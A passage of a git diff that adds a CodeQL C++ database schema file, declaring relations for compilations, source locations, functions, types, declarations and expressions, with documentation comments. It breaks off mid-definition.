10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + unique int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/semmlecode.cpp.dbscheme b/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..ddd31fd02e5 --- /dev/null +++ b/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/semmlecode.cpp.dbscheme @@ -0,0 +1,2145 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The date of the snapshot. + */ +snapshotDate(unique date snapshotDate : date ref); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Data used by the 'duplicate code' detection. + */ +duplicateCode( + unique int id : @duplication, + string relativePath : string ref, + int equivClass : int ref +); + +/** + * Data used by the 'similar code' detection. + */ +similarCode( + unique int id : @similarity, + string relativePath : string ref, + int equivClass : int ref +); + +/** + * Data used by the 'duplicate code' and 'similar code' detection. + */ +@duplication_or_similarity = @duplication | @similarity + +/** + * Data used by the 'duplicate code' and 'similar code' detection. + */ +#keyset[id, offset] +tokens( + int id : @duplication_or_similarity ref, + int offset : int ref, + int beginLine : int ref, + int beginColumn : int ref, + int endLine : int ref, + int endColumn : int ref +); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://help.semmle.com/QL/learn-ql/ql/locations.html). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://help.semmle.com/QL/learn-ql/ql/locations.html). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://help.semmle.com/QL/learn-ql/ql/locations.html). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref +); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +/* + case @macroinvocations.kind of + 1 = macro expansion + | 2 = other macro reference + ; +*/ +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* + case @function.kind of + 1 = normal + | 2 = constructor + | 3 = destructor + | 4 = conversion + | 5 = operator + | 6 = builtin // GCC built-in functions, e.g. __builtin___memcpy_chk + ; +*/ +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point(int id: @function ref, unique int entry_point: @stmt ref); + +function_return_type(int id: @function ref, int return_type: @type ref); + +/** If `function` is a coroutine, then this gives the + std::experimental::resumable_traits instance associated with it, + and the variables representing the `handle` and `promise` for it. */ +coroutine( + unique int function: @function ref, + int traits: @type ref, + int handle: @variable ref, + int promise: @variable ref +); + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +member_function_this_type(unique int id: @function ref, int this_type: @type ref); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @functionorblock ref, + int index: int ref, + int type_id: @type ref +); + +overrides(int new: @function ref, int old: @function ref); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/* + Built-in types are the fundamental types, e.g., integral, floating, and void. + + case @builtintype.kind of + 1 = error + | 2 = unknown + | 3 = void + | 4 = boolean + | 5 = char + | 6 = unsigned_char + | 7 = signed_char + | 8 = short + | 9 = unsigned_short + | 10 = signed_short + | 11 = int + | 12 = unsigned_int + | 13 = signed_int + | 14 = long + | 15 = unsigned_long + | 16 = signed_long + | 17 = long_long + | 18 = unsigned_long_long + | 19 = signed_long_long + | 20 = __int8 // Microsoft-specific + | 21 = __int16 // Microsoft-specific + | 22 = __int32 // Microsoft-specific + | 23 = __int64 // Microsoft-specific + | 24 = float + | 25 = double + | 26 = long_double + | 27 = _Complex_float // C99-specific + | 28 = _Complex_double // C99-specific + | 29 = _Complex_long double // C99-specific + | 30 = _Imaginary_float // C99-specific + | 31 = _Imaginary_double // C99-specific + | 32 = _Imaginary_long_double // C99-specific + | 33 = wchar_t // Microsoft-specific + | 34 = decltype_nullptr // C++11 + | 35 = __int128 + | 36 = unsigned___int128 + | 37 = signed___int128 + | 38 = __float128 + | 39 = _Complex___float128 + | 40 = _Decimal32 + | 41 = _Decimal64 + | 42 = _Decimal128 + | 43 = char16_t + | 44 = char32_t + | 45 = _Float32 + | 46 = _Float32x + | 47 = _Float64 + | 48 = _Float64x + | 49 = _Float128 + | 50 = _Float128x + | 51 = char8_t + ; +*/ +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/* + Derived types are types that are directly derived from existing types and + point to, refer to, transform type data to return a new type. + + case @derivedtype.kind of + 1 = pointer + | 2 = reference + | 3 = type_with_specifiers + | 4 = array + | 5 = gnu_vector + | 6 = routineptr + | 7 = routinereference + | 8 = rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated + | 10 = block + ; +*/ +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator. For example: + * ``` + * int a; + * decltype(1+a) b; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * would change the semantics of this decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* + case @usertype.kind of + 1 = struct + | 2 = class + | 3 = union + | 4 = enum + | 5 = typedef // classic C: typedef typedef type name + | 6 = template + | 7 = template_parameter + | 8 = template_template_parameter + | 9 = proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated + | 13 = scoped_enum + | 14 = using_alias // a using name = type style typedef + ; +*/ +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + unique string uuid: string ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +is_proxy_class_for( + unique int id: @usertype ref, + unique int templ_param_id: @usertype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the EDG frontend. See symbol_ref.h there. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +/* + Fixed point types + precision(1) = short, precision(2) = default, precision(3) = long + is_unsigned(1) = unsigned is_unsigned(2) = signed + is_fract_type(1) = declared with _Fract + saturating(1) = declared with _Sat +*/ +/* TODO +fixedpointtypes( + unique int id: @fixedpointtype, + int precision: int ref, + int is_unsigned: int ref, + int is_fract_type: int ref, + int saturating: int ref); +*/ + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + /* TODO | @fixedpointtype */ + | @routinetype + | @ptrtomember + | @decltype; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall(unique int caller: @funbindexpr ref, int kind: int ref); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + | @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr + +@assign_expr = @assignexpr | @assign_op_expr + +/* + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 3 = size_and_alignment + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +/* + case @value.category of + 1 = prval + | 2 = xval + | 